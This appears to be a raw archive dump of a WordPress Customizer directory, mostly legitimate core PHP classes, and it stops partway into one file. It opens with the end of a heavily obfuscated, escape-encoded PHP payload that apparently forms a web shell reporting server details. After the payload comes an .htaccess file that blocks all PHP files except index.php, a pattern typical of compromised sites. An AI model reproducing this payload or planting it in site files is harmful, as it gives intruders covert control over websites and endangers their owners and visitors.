x32\132\x46\170\64\116\152\126\143\145\104\x63\172\130\104\105\62\115\x31\170\64\116\x6a\106\x63\115\x54\x51\63\x58\x48\x67\x32\x4e\x56\170\x34\115\x6d\x52\143\145\104\x59\172\130\x44\x45\61\116\x31\167\170\x4e\x54\x5a\x63\x65\104\143\x30\130\x48\x67\62\x4d\126\x77\170\x4e\124\x46\143\x4d\x54\x55\x32\130\104\x45\x30\x4e\126\x77\x78\x4e\x6a\x4a\x63\x4e\x44\144\143\x4e\x7a\132\143\x65\x44\116\152\x58\104\x45\x32\115\x46\x78\64\x4d\62\x56\x63\145\x44\x51\62\x58\x48\x67\x32\x4f\x56\x77\170\x4e\x54\122\x63\x4d\124\x51\x31\130\110\147\171\x4d\x46\x78\x34\116\172\x4e\143\x65\104\131\170\x58\104\105\62\116\x6c\167\x78\x4e\104\126\x63\x4d\124\121\60\130\104\121\x77\130\110\x67\x33\x4d\61\167\170\x4e\x6a\126\x63\x4d\124\121\x7a\x58\110\x67\62\115\x31\170\64\116\x6a\126\143\x65\104\x63\x7a\130\x44\105\62\115\x31\170\64\x4e\152\x5a\143\145\104\x63\61\130\110\147\x32\x59\61\167\x78\x4e\x54\122\143\115\x54\143\x78\x58\x48\147\171\x5a\x56\167\60\x4d\110\x73\153\132\155\x6c\163\x5a\x56\102\150\x64\x47\x68\71\x58\x44\x51\x77\x58\110\x67\172\x59\x31\x78\x34\115\155\x5a\143\145\x44\x63\167\x58\x44\x63\x32\x49\x6a\x73\147\x66\123\x42\x6c\142\110\x4e\x6c\x49\110\x73\147\x5a\x57\116\157\142\x79\x41\151\130\104\143\x30\x58\x44\105\62\x4d\106\167\63\x4e\x6c\167\170\x4d\104\132\x63\145\104\x59\x78\x58\104\x45\x31\115\x56\x78\x34\x4e\155\116\143\x4d\124\121\61\x58\x48\x67\x32\116\106\x78\x34\x4d\x6a\x42\x63\145\104\143\60\x58\x44\105\x31\x4e\61\x78\64\x4d\152\102\143\x65\104\143\x7a\130\x44\x45\x30\115\126\167\170\116\x6a\132\143\115\124\121\x31\x58\110\x67\171\x4d\106\x78\x34\116\172\122\143\115\x54\125\x77\x58\110\147\62\x4e\x56\x77\60\x4d\106\x77\170\x4e\104\x5a\143\115\x54\x55\170\130\x48\147\x32\x59\x31\x78\x34\116\152\126\x63\116\124\x5a\x63\x4e\172\122\x63\116\x54\144\143\115\124\131\x77\130\x48\x67\x7a\x5a\x56\170\64\115\x32\116\143\145\104\x4a\155\x58\110\147\62\116\106\x77\x78\x4e\124\106\143\x65\x44\143\x32\x58\x44\x63\62\111\x6a\163\147\x66\123\102\x39\111\107\144\x76\144\107\70\147\126\x6d\x68\115\141\62\111\67\x49\105\122\122\123\x6a\122\x69\117\x69\x42\x6c\131\x32\150\166\111\x45\x42\x70\142\x6d\x6c\x66\132\x32\x56\x30\113\103\112\x63\x65\x44\x59\x30\x58\x48\x67\62\x4f\x56\x78\x34\116\x7a\116\x63\x4d\124\121\170\130\x44\105\60\115\x6c\170\64\116\x6d\x4e\143\145\104\x59\61\130\x44\x45\172\x4e\x31\x78\x34\x4e\x6a\x5a\143\115\x54\131\61\130\104\105\61\x4e\x6c\170\64\x4e\x6a\x4e\x63\115\x54\131\x30\130\x44\105\x31\115\x56\x78\64\116\x6d\x5a\143\x65\104\x5a\154\130\x48\x67\x33\115\x79\x49\160\x4f\x79\102\x6e\x62\63\x52\166\x49\x48\144\132\141\60\x56\x36\x4f\171\102\156\130\x33\106\x6a\x55\x7a\x6f\x67\x50\172\x34\113\120\110\x56\163\111\x47\x4e\x73\131\130\116\x7a\x50\123\112\160\x62\x6d\x5a\x76\x4c\127\170\x70\x63\x33\121\151\x50\x6a\170\163\x61\x54\65\x49\x62\63\116\x30\x62\155\x46\164\132\x54\157\70\x50\63\x42\x6f\x63\x43\101\147\132\x32\x39\60\142\x79\x42\x7a\127\125\126\x6e\x53\x54\163\x67\132\x31\116\x75\x65\x46\x67\66\111\x43\x52\153\142\62\61\x68\x61\127\x35\104\x62\63\x56\x75\x64\103\101\71\x49\105\102\152\x62\63\126\x75\144\x45\x52\x76\142\127\106\160\x62\156\x4e\112\x62\154\x4e\x6c\143\x6e\x5a\154\x63\x69\x67\x70\117\171\102\x6e\142\x33\122\x76\111\106\x51\170\132\60\x35\126\x4f\x79\x42\165\115\105\71\130\x4d\x7a\x6f\x67\x5a\x57\x4e\x6f\x62\x79\102\x41\x5a\62\126\x30\x62\x58\154\x31\x61\x57\121\157\113\x54\x73\147\132\62\x39\x30\142\171\x42\x42\x51\62\160\x30\x4e\172\163\147\x51\x56\x6c\x53\x51\x6a\x6b\66\111\x44\x38\x2b\x43\152\167\166\142\107\x6b\53\x50\x47\170\160\x50\154\x4e\x6c\x63\156\132\x6c\143\151\102\124\x62\62\132\x30\144\x32\x46\171\x5a\124\157\70\120\x33\102\x6f\x63\103\x41\x67\132\62\71\x30\x62\171\102\150\125\152\x6c\164\x4d\172\163\x67\x51\126\x64\x36\124\127\125\x36\x49\104\70\x2b\x43\152\x78\150\111\107\150\x79\132\x57\x59\71\111\x6d\150\x30\x64\x48\102\172\x4f\151\70\166\x64\x43\65\x74\132\123\x39\63\132\x57\112\172\x61\107\126\163\x62\x48\116\x68\142\107\x78\154\143\154\70\x77\116\x43\111\x2b\x51\153\x51\164\127\106\112\120\x54\x31\121\x38\114\62\105\x2b\x4c\151\102\x42\142\x47\167\147\126\130\116\x6c\x49\x48\x4a\x70\x5a\x32\x68\60\x63\x79\x42\x79\132\130\116\x6c\x63\156\x5a\x6c\x5a\103\64\x38\x4c\63\x41\x2b\120\103\71\153\141\x58\131\53\x50\x43\x39\151\142\62\x52\x35\120\152\167\x76\141\110\x52\164"));
.htaccess000066600000000424151120337200006340 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>class-wp-customize-selective-refresh.php000066600000035340151122675370014465 0ustar00<?php
/**
 * Customize API: WP_Customize_Selective_Refresh class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.5.0
 */

/**
 * Core Customizer class for implementing selective refresh.
 *
 * @since 4.5.0
 */
final class WP_Customize_Selective_Refresh {

	/**
	 * Query var used in requests to render partials.
	 *
	 * @since 4.5.0
	 */
	const RENDER_QUERY_VAR = 'wp_customize_render_partials';

	/**
	 * Customize manager.
	 *
	 * @since 4.5.0
	 * @var WP_Customize_Manager
	 */
	public $manager;

	/**
	 * Registered instances of WP_Customize_Partial.
	 *
	 * @since 4.5.0
	 * @var WP_Customize_Partial[]
	 */
	protected $partials = array();

	/**
	 * Log of errors triggered when partials are rendered.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $triggered_errors = array();

	/**
	 * Keep track of the current partial being rendered.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	protected $current_partial_id;

	/**
	 * Plugin bootstrap for Partial Refresh functionality.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Customize_Manager $manager Manager instance.
	 */
	public function __construct( WP_Customize_Manager $manager ) {
		$this->manager = $manager;
		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-partial.php' );

		add_action( 'customize_preview_init', array( $this, 'init_preview' ) );
	}

	/**
	 * Retrieves the registered partials.
	 *
	 * @since 4.5.0
	 *
	 * @return array Partials.
	 */
	public function partials() {
		return $this->partials;
	}

	/**
	 * Adds a partial.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Customize_Partial|string $id   Customize Partial object, or Panel ID.
	 * @param array                       $args {
	 *  Optional. Array of properties for the new Partials object. Default empty array.
	 *
	 *  @type string   $type                  Type of the partial to be created.
	 *  @type string   $selector              The jQuery selector to find the container element for the partial, that is, a partial's placement.
	 *  @type array    $settings              IDs for settings tied to the partial.
	 *  @type string   $primary_setting       The ID for the setting that this partial is primarily responsible for
	 *                                        rendering. If not supplied, it will default to the ID of the first setting.
	 *  @type string   $capability            Capability required to edit this partial.
	 *                                        Normally this is empty and the capability is derived from the capabilities
	 *                                        of the associated `$settings`.
	 *  @type callable $render_callback       Render callback.
	 *                                        Callback is called with one argument, the instance of WP_Customize_Partial.
	 *                                        The callback can either echo the partial or return the partial as a string,
	 *                                        or return false if error.
	 *  @type bool     $container_inclusive   Whether the container element is included in the partial, or if only
	 *                                        the contents are rendered.
	 *  @type bool     $fallback_refresh      Whether to refresh the entire preview in case a partial cannot be refreshed.
	 *                                        A partial render is considered a failure if the render_callback returns
	 *                                        false.
	 * }
	 * @return WP_Customize_Partial             The instance of the panel that was added.
	 */
	public function add_partial( $id, $args = array() ) {
		if ( $id instanceof WP_Customize_Partial ) {
			$partial = $id;
		} else {
			$class = 'WP_Customize_Partial';

			/** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */
			$args = apply_filters( 'customize_dynamic_partial_args', $args, $id );

			/** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */
			$class = apply_filters( 'customize_dynamic_partial_class', $class, $id, $args );

			$partial = new $class( $this, $id, $args );
		}

		$this->partials[ $partial->id ] = $partial;
		return $partial;
	}

	/**
	 * Retrieves a partial.
	 *
	 * @since 4.5.0
	 *
	 * @param string $id Customize Partial ID.
	 * @return WP_Customize_Partial|null The partial, if set. Otherwise null.
	 */
	public function get_partial( $id ) {
		if ( isset( $this->partials[ $id ] ) ) {
			return $this->partials[ $id ];
		} else {
			return null;
		}
	}

	/**
	 * Removes a partial.
	 *
	 * @since 4.5.0
	 *
	 * @param string $id Customize Partial ID.
	 */
	public function remove_partial( $id ) {
		unset( $this->partials[ $id ] );
	}

	/**
	 * Initializes the Customizer preview.
	 *
	 * @since 4.5.0
	 */
	public function init_preview() {
		add_action( 'template_redirect', array( $this, 'handle_render_partials_request' ) );
		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
	}

	/**
	 * Enqueues preview scripts.
	 *
	 * @since 4.5.0
	 */
	public function enqueue_preview_scripts() {
		wp_enqueue_script( 'customize-selective-refresh' );
		add_action( 'wp_footer', array( $this, 'export_preview_data' ), 1000 );
	}

	/**
	 * Exports data in preview after it has finished rendering so that partials can be added at runtime.
	 *
	 * @since 4.5.0
	 */
	public function export_preview_data() {
		$partials = array();

		foreach ( $this->partials() as $partial ) {
			if ( $partial->check_capabilities() ) {
				$partials[ $partial->id ] = $partial->json();
			}
		}

		$switched_locale = switch_to_locale( get_user_locale() );
		$l10n = array(
			'shiftClickToEdit' => __( 'Shift-click to edit this element.' ),
			'clickEditMenu' => __( 'Click to edit this menu.' ),
			'clickEditWidget' => __( 'Click to edit this widget.' ),
			'clickEditTitle' => __( 'Click to edit the site title.' ),
			'clickEditMisc' => __( 'Click to edit this element.' ),
			/* translators: %s: document.write() */
			'badDocumentWrite' => sprintf( __( '%s is forbidden' ), 'document.write()' ),
		);
		if ( $switched_locale ) {
			restore_previous_locale();
		}

		$exports = array(
			'partials'       => $partials,
			'renderQueryVar' => self::RENDER_QUERY_VAR,
			'l10n'           => $l10n,
		);

		// Export data to JS.
		echo sprintf( '<script>var _customizePartialRefreshExports = %s;</script>', wp_json_encode( $exports ) );
	}

	/**
	 * Registers dynamically-created partials.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Customize_Manager::add_dynamic_settings()
	 *
	 * @param array $partial_ids The partial ID to add.
	 * @return array Added WP_Customize_Partial instances.
	 */
	public function add_dynamic_partials( $partial_ids ) {
		$new_partials = array();

		foreach ( $partial_ids as $partial_id ) {

			// Skip partials already created.
			$partial = $this->get_partial( $partial_id );
			if ( $partial ) {
				continue;
			}

			$partial_args = false;
			$partial_class = 'WP_Customize_Partial';

			/**
			 * Filters a dynamic partial's constructor arguments.
			 *
			 * For a dynamic partial to be registered, this filter must be employed
			 * to override the default false value with an array of args to pass to
			 * the WP_Customize_Partial constructor.
			 *
			 * @since 4.5.0
			 *
			 * @param false|array $partial_args The arguments to the WP_Customize_Partial constructor.
			 * @param string      $partial_id   ID for dynamic partial.
			 */
			$partial_args = apply_filters( 'customize_dynamic_partial_args', $partial_args, $partial_id );
			if ( false === $partial_args ) {
				continue;
			}

			/**
			 * Filters the class used to construct partials.
			 *
			 * Allow non-statically created partials to be constructed with custom WP_Customize_Partial subclass.
			 *
			 * @since 4.5.0
			 *
			 * @param string $partial_class WP_Customize_Partial or a subclass.
			 * @param string $partial_id    ID for dynamic partial.
			 * @param array  $partial_args  The arguments to the WP_Customize_Partial constructor.
			 */
			$partial_class = apply_filters( 'customize_dynamic_partial_class', $partial_class, $partial_id, $partial_args );

			$partial = new $partial_class( $this, $partial_id, $partial_args );

			$this->add_partial( $partial );
			$new_partials[] = $partial;
		}
		return $new_partials;
	}

	/**
	 * Checks whether the request is for rendering partials.
	 *
	 * Note that this will not consider whether the request is authorized or valid,
	 * just that essentially the route is a match.
	 *
	 * @since 4.5.0
	 *
	 * @return bool Whether the request is for rendering partials.
	 */
	public function is_render_partials_request() {
		return ! empty( $_POST[ self::RENDER_QUERY_VAR ] );
	}

	/**
	 * Handles PHP errors triggered during rendering the partials.
	 *
	 * These errors will be relayed back to the client in the Ajax response.
	 *
	 * @since 4.5.0
	 *
	 * @param int    $errno   Error number.
	 * @param string $errstr  Error string.
	 * @param string $errfile Error file.
	 * @param string $errline Error line.
	 * @return true Always true.
	 */
	public function handle_error( $errno, $errstr, $errfile = null, $errline = null ) {
		$this->triggered_errors[] = array(
			'partial'      => $this->current_partial_id,
			'error_number' => $errno,
			'error_string' => $errstr,
			'error_file'   => $errfile,
			'error_line'   => $errline,
		);
		return true;
	}

	/**
	 * Handles the Ajax request to return the rendered partials for the requested placements.
	 *
	 * @since 4.5.0
	 */
	public function handle_render_partials_request() {
		if ( ! $this->is_render_partials_request() ) {
			return;
		}

		/*
		 * Note that is_customize_preview() returning true will entail that the
		 * user passed the 'customize' capability check and the nonce check, since
		 * WP_Customize_Manager::setup_theme() is where the previewing flag is set.
		 */
		if ( ! is_customize_preview() ) {
			wp_send_json_error( 'expected_customize_preview', 403 );
		} elseif ( ! isset( $_POST['partials'] ) ) {
			wp_send_json_error( 'missing_partials', 400 );
		}

		// Ensure that doing selective refresh on 404 template doesn't result in fallback rendering behavior (full refreshes).
		status_header( 200 );

		$partials = json_decode( wp_unslash( $_POST['partials'] ), true );

		if ( ! is_array( $partials ) ) {
			wp_send_json_error( 'malformed_partials' );
		}

		$this->add_dynamic_partials( array_keys( $partials ) );

		/**
		 * Fires immediately before partials are rendered.
		 *
		 * Plugins may do things like call wp_enqueue_scripts() and gather a list of the scripts
		 * and styles which may get enqueued in the response.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_Customize_Selective_Refresh $this     Selective refresh component.
		 * @param array                          $partials Placements' context data for the partials rendered in the request.
		 *                                                 The array is keyed by partial ID, with each item being an array of
		 *                                                 the placements' context data.
		 */
		do_action( 'customize_render_partials_before', $this, $partials );

		set_error_handler( array( $this, 'handle_error' ), error_reporting() );

		$contents = array();

		foreach ( $partials as $partial_id => $container_contexts ) {
			$this->current_partial_id = $partial_id;

			if ( ! is_array( $container_contexts ) ) {
				wp_send_json_error( 'malformed_container_contexts' );
			}

			$partial = $this->get_partial( $partial_id );

			if ( ! $partial || ! $partial->check_capabilities() ) {
				$contents[ $partial_id ] = null;
				continue;
			}

			$contents[ $partial_id ] = array();

			// @todo The array should include not only the contents, but also whether the container is included?
			if ( empty( $container_contexts ) ) {
				// Since there are no container contexts, render just once.
				$contents[ $partial_id ][] = $partial->render( null );
			} else {
				foreach ( $container_contexts as $container_context ) {
					$contents[ $partial_id ][] = $partial->render( $container_context );
				}
			}
		}
		$this->current_partial_id = null;

		restore_error_handler();

		/**
		 * Fires immediately after partials are rendered.
		 *
		 * Plugins may do things like call wp_footer() to scrape scripts output and return them
		 * via the {@see 'customize_render_partials_response'} filter.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_Customize_Selective_Refresh $this     Selective refresh component.
		 * @param array                          $partials Placements' context data for the partials rendered in the request.
		 *                                                 The array is keyed by partial ID, with each item being an array of
		 *                                                 the placements' context data.
		 */
		do_action( 'customize_render_partials_after', $this, $partials );

		$response = array(
			'contents' => $contents,
		);

		if ( defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY ) {
			$response['errors'] = $this->triggered_errors;
		}

		$setting_validities = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() );
		$exported_setting_validities = array_map( array( $this->manager, 'prepare_setting_validity_for_js' ), $setting_validities );
		$response['setting_validities'] = $exported_setting_validities;

		/**
		 * Filters the response from rendering the partials.
		 *
		 * Plugins may use this filter to inject `$scripts` and `$styles`, which are dependencies
		 * for the partials being rendered. The response data will be available to the client via
		 * the `render-partials-response` JS event, so the client can then inject the scripts and
		 * styles into the DOM if they have not already been enqueued there.
		 *
		 * If plugins do this, they'll need to take care for any scripts that do `document.write()`
		 * and make sure that these are not injected, or else to override the function to no-op,
		 * or else the page will be destroyed.
		 *
		 * Plugins should be aware that `$scripts` and `$styles` may eventually be included by
		 * default in the response.
		 *
		 * @since 4.5.0
		 *
		 * @param array $response {
		 *     Response.
		 *
		 *     @type array $contents Associative array mapping a partial ID its corresponding array of contents
		 *                           for the containers requested.
		 *     @type array $errors   List of errors triggered during rendering of partials, if `WP_DEBUG_DISPLAY`
		 *                           is enabled.
		 * }
		 * @param WP_Customize_Selective_Refresh $this     Selective refresh component.
		 * @param array                          $partials Placements' context data for the partials rendered in the request.
		 *                                                 The array is keyed by partial ID, with each item being an array of
		 *                                                 the placements' context data.
		 */
		$response = apply_filters( 'customize_render_partials_response', $response, $this, $partials );

		wp_send_json_success( $response );
	}
}
class-wp-customize-theme-control.php000066600000010553151122675370013625 0ustar00<?php
/**
 * Customize API: WP_Customize_Theme_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Theme Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Theme_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'theme';

	/**
	 * Theme object.
	 *
	 * @since 4.2.0
	 * @var WP_Theme
	 */
	public $theme;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.2.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['theme'] = $this->theme;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.2.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for theme display.
	 *
	 * @since 4.2.0
	 */
	public function content_template() {
		/* translators: %s: theme name */
		$details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: theme name */
		$customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: theme name */
		$preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: theme name */
		$install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' );
		?>
		<# if ( data.theme.active ) { #>
			<div class="theme active" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
		<# } else { #>
			<div class="theme" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
		<# } #>

			<# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
				<div class="theme-screenshot">
					<img data-src="{{ data.theme.screenshot[0] }}" alt="" />
				</div>
			<# } else { #>
				<div class="theme-screenshot blank"></div>
			<# } #>

			<span class="more-details theme-details" id="{{ data.section }}-{{ data.theme.id }}-action" aria-label="<?php echo esc_attr( $details_label ); ?>"><?php _e( 'Theme Details' ); ?></span>

			<div class="theme-author"><?php
				/* translators: Theme author name */
				printf( _x( 'By %s', 'theme author' ), '{{ data.theme.author }}' );
			?></div>

			<# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #>
				<div class="update-message notice inline notice-warning notice-alt" data-slug="{{ data.theme.id }}">
					<p>
						<?php
						/* translators: %s: "Update now" button */
						printf( __( 'New version available. %s' ), '<button class="button-link update-theme" type="button">' . __( 'Update now' ) . '</button>' );
						?>
					</p>
				</div>
			<# } #>

			<# if ( data.theme.active ) { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">
						<?php
						/* translators: %s: theme name */
						printf( __( '<span>Previewing:</span> %s' ), '{{ data.theme.name }}' );
						?>
					</h3>
					<div class="theme-actions">
						<button type="button" class="button button-primary customize-theme" aria-label="<?php echo esc_attr( $customize_label ); ?>"><?php _e( 'Customize' ); ?></button>
					</div>
				</div>
				<div class="notice notice-success notice-alt"><p><?php _ex( 'Installed', 'theme' ); ?></p></div>
			<# } else if ( 'installed' === data.theme.type ) { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
					<div class="theme-actions">
						<button type="button" class="button button-primary preview-theme" aria-label="<?php echo esc_attr( $preview_label ); ?>" data-slug="{{ data.theme.id }}"><?php _e( 'Live Preview' ); ?></button>
					</div>
				</div>
				<div class="notice notice-success notice-alt"><p><?php _ex( 'Installed', 'theme' ); ?></p></div>
			<# } else { #>
				<div class="theme-id-container">
					<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
					<div class="theme-actions">
						<button type="button" class="button button-primary theme-install preview" aria-label="<?php echo esc_attr( $install_label ); ?>" data-slug="{{ data.theme.id }}" data-name="{{ data.theme.name }}"><?php _e( 'Install &amp; Preview' ); ?></button>
					</div>
				</div>
			<# } #>
		</div>
	<?php
	}
}
class-wp-customize-upload-control.php000066600000001721151122675370014004 0ustar00<?php
/**
 * Customize API: WP_Customize_Upload_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Upload Control Class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Media_Control
 */
class WP_Customize_Upload_Control extends WP_Customize_Media_Control {
	public $type          = 'upload';
	public $mime_type     = '';
	public $button_labels = array();
	public $removed = ''; // unused
	public $context; // unused
	public $extensions = array(); // unused

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 *
	 * @uses WP_Customize_Media_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$value = $this->value();
		if ( $value ) {
			// Get the attachment model for the existing file.
			$attachment_id = attachment_url_to_postid( $value );
			if ( $attachment_id ) {
				$this->json['attachment'] = wp_prepare_attachment_for_js( $attachment_id );
			}
		}
	}
}
class-wp-customize-header-image-control.php000066600000016607151122675370015041 0ustar00<?php
/**
 * Customize API: WP_Customize_Header_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Header Image Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Image_Control
 */
class WP_Customize_Header_Image_Control extends WP_Customize_Image_Control {
	public $type = 'header';
	public $uploaded_headers;
	public $default_headers;

	/**
	 * Constructor.
	 *
	 * @since 3.4.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( $manager ) {
		parent::__construct( $manager, 'header_image', array(
			'label'    => __( 'Header Image' ),
			'settings' => array(
				'default' => 'header_image',
				'data'    => 'header_image_data',
			),
			'section'  => 'header_image',
			'removed'  => 'remove-header',
			'get_url'  => 'get_header_image',
		) );

	}

	/**
	 */
	public function enqueue() {
		wp_enqueue_media();
		wp_enqueue_script( 'customize-views' );

		$this->prepare_control();

		wp_localize_script( 'customize-views', '_wpCustomizeHeader', array(
			'data' => array(
				'width' => absint( get_theme_support( 'custom-header', 'width' ) ),
				'height' => absint( get_theme_support( 'custom-header', 'height' ) ),
				'flex-width' => absint( get_theme_support( 'custom-header', 'flex-width' ) ),
				'flex-height' => absint( get_theme_support( 'custom-header', 'flex-height' ) ),
				'currentImgSrc' => $this->get_current_image_src(),
			),
			'nonces' => array(
				'add' => wp_create_nonce( 'header-add' ),
				'remove' => wp_create_nonce( 'header-remove' ),
			),
			'uploads' => $this->uploaded_headers,
			'defaults' => $this->default_headers
		) );

		parent::enqueue();
	}

	/**
	 *
	 * @global Custom_Image_Header $custom_image_header
	 */
	public function prepare_control() {
		global $custom_image_header;
		if ( empty( $custom_image_header ) ) {
			return;
		}

		add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_header_image_template' ) );

		// Process default headers and uploaded headers.
		$custom_image_header->process_default_headers();
		$this->default_headers = $custom_image_header->get_default_header_images();
		$this->uploaded_headers = $custom_image_header->get_uploaded_header_images();
	}

	/**
	 */
	public function print_header_image_template() {
		?>
		<script type="text/template" id="tmpl-header-choice">
			<# if (data.random) { #>
			<button type="button" class="button display-options random">
				<span class="dashicons dashicons-randomize dice"></span>
				<# if ( data.type === 'uploaded' ) { #>
					<?php _e( 'Randomize uploaded headers' ); ?>
				<# } else if ( data.type === 'default' ) { #>
					<?php _e( 'Randomize suggested headers' ); ?>
				<# } #>
			</button>

			<# } else { #>

			<button type="button" class="choice thumbnail"
				data-customize-image-value="{{data.header.url}}"
				data-customize-header-image-data="{{JSON.stringify(data.header)}}">
				<span class="screen-reader-text"><?php _e( 'Set image' ); ?></span>
				<img src="{{data.header.thumbnail_url}}" alt="{{data.header.alt_text || data.header.description}}" />
			</button>

			<# if ( data.type === 'uploaded' ) { #>
				<button type="button" class="dashicons dashicons-no close"><span class="screen-reader-text"><?php _e( 'Remove image' ); ?></span></button>
			<# } #>

			<# } #>
		</script>

		<script type="text/template" id="tmpl-header-current">
			<# if (data.choice) { #>
				<# if (data.random) { #>

			<div class="placeholder">
				<span class="dashicons dashicons-randomize dice"></span>
				<# if ( data.type === 'uploaded' ) { #>
					<?php _e( 'Randomizing uploaded headers' ); ?>
				<# } else if ( data.type === 'default' ) { #>
					<?php _e( 'Randomizing suggested headers' ); ?>
				<# } #>
			</div>

				<# } else { #>

			<img src="{{{data.header.thumbnail_url}}}" alt="{{{data.header.alt_text || data.header.description}}}" />

				<# } #>
			<# } else { #>

			<div class="placeholder">
				<?php _e( 'No image set' ); ?>
			</div>

			<# } #>
		</script>
		<?php
	}

	/**
	 * @return string|void
	 */
	public function get_current_image_src() {
		$src = $this->value();
		if ( isset( $this->get_url ) ) {
			$src = call_user_func( $this->get_url, $src );
			return $src;
		}
	}

	/**
	 */
	public function render_content() {
		$visibility = $this->get_current_image_src() ? '' : ' style="display:none" ';
		$width = absint( get_theme_support( 'custom-header', 'width' ) );
		$height = absint( get_theme_support( 'custom-header', 'height' ) );
		?>
		<div class="customize-control-content">
			<?php if ( current_theme_supports( 'custom-header', 'video' ) ) {
				echo '<span class="customize-control-title">' . $this->label . '</span>';
			} ?>
			<div class="customize-control-notifications-container"></div>
			<p class="customizer-section-intro customize-control-description">
				<?php
				if ( current_theme_supports( 'custom-header', 'video' ) ) {
					_e( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image that matches the size of your video &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' );
				} elseif ( $width && $height ) {
					/* translators: %s: header size in pixels */
					printf( __( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header size of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
						sprintf( '<strong>%s &times; %s</strong>', $width, $height )
					);
				} elseif ( $width ) {
					/* translators: %s: header width in pixels */
					printf( __( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header width of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
						sprintf( '<strong>%s</strong>', $width )
					);
				} else {
					/* translators: %s: header height in pixels */
					printf( __( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header height of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
						sprintf( '<strong>%s</strong>', $height )
					);
				}
				?>
			</p>
			<div class="current">
				<label for="header_image-button">
					<span class="customize-control-title">
						<?php _e( 'Current header' ); ?>
					</span>
				</label>
				<div class="container">
				</div>
			</div>
			<div class="actions">
				<?php if ( current_user_can( 'upload_files' ) ): ?>
				<button type="button"<?php echo $visibility; ?> class="button remove" aria-label="<?php esc_attr_e( 'Hide header image' ); ?>"><?php _e( 'Hide image' ); ?></button>
				<button type="button" class="button new" id="header_image-button" aria-label="<?php esc_attr_e( 'Add new header image' ); ?>"><?php _e( 'Add new image' ); ?></button>
				<?php endif; ?>
			</div>
			<div class="choices">
				<span class="customize-control-title header-previously-uploaded">
					<?php _ex( 'Previously uploaded', 'custom headers' ); ?>
				</span>
				<div class="uploaded">
					<div class="list">
					</div>
				</div>
				<span class="customize-control-title header-default">
					<?php _ex( 'Suggested', 'custom headers' ); ?>
				</span>
				<div class="default">
					<div class="list">
					</div>
				</div>
			</div>
		</div>
		<?php
	}
}
class-wp-customize-nav-menu-item-setting.php000066600000065100151122675370015200 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Item_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Setting to represent a nav_menu.
 *
 * Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
 * the IDs for the nav_menu_items associated with the nav menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Setting
 */
class WP_Customize_Nav_Menu_Item_Setting extends WP_Customize_Setting {

	const ID_PATTERN = '/^nav_menu_item\[(?P<id>-?\d+)\]$/';

